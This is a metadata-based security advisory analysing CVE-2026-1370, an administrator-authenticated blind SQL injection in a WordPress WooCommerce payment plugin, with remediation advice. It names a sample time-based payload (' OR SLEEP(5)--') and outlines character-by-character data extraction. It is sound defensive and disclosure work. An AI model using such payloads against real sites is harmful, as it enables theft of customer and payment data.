Atomic Edge analysis of CVE-2026-1370 (metadata-based):
This vulnerability is an authenticated SQL injection in the SIBS WooCommerce payment gateway plugin for WordPress. The flaw exists in the ‘referencedId’ parameter handling within plugin versions up to and including 2.2.0. Attackers with Administrator-level access can execute time-based blind SQL injection attacks to extract sensitive data from the database. The CVSS score of 4.9 reflects the high confidentiality impact tempered by the requirement for administrative privileges.
Atomic Edge research identifies the root cause as improper neutralization of special elements in an SQL command (CWE-89). The vulnerability description confirms insufficient escaping and lack of prepared statements for user-supplied input in the ‘referencedId’ parameter. Without source code, we infer the plugin likely constructs SQL queries by directly concatenating this parameter into a database query string. This inference is consistent with the CWE classification and the described time-based SQL injection attack vector.
Exploitation requires an authenticated WordPress administrator to send a crafted HTTP request containing a malicious SQL payload in the ‘referencedId’ parameter. The exact endpoint is unspecified, but WordPress plugin patterns suggest an AJAX handler (admin-ajax.php) or a custom admin page. A payload like ‘ OR SLEEP(5)–‘ would trigger a measurable delay if the parameter is vulnerable. Attackers would use incremental boolean-based or time-based payloads to extract database information character by character.
Remediation requires implementing proper input validation and parameterized queries. The plugin should use WordPress’s $wpdb->prepare() method or equivalent prepared statements when constructing SQL queries with user input. The ‘referencedId’ parameter should be validated as an integer using functions like intval() or absint() before database interaction. Output escaping functions like esc_sql() are insufficient for preventing SQL injection and should not replace prepared statements.
Successful exploitation allows complete database compromise. Attackers can extract sensitive information including WordPress user credentials (hashed passwords), WooCommerce customer data, payment information, and plugin-specific configuration. While the administrative privilege requirement limits the attack surface, compromised admin accounts could use this vulnerability to exfiltrate the entire database contents. The vulnerability does not directly enable privilege escalation or remote code execution based on the available metadata.
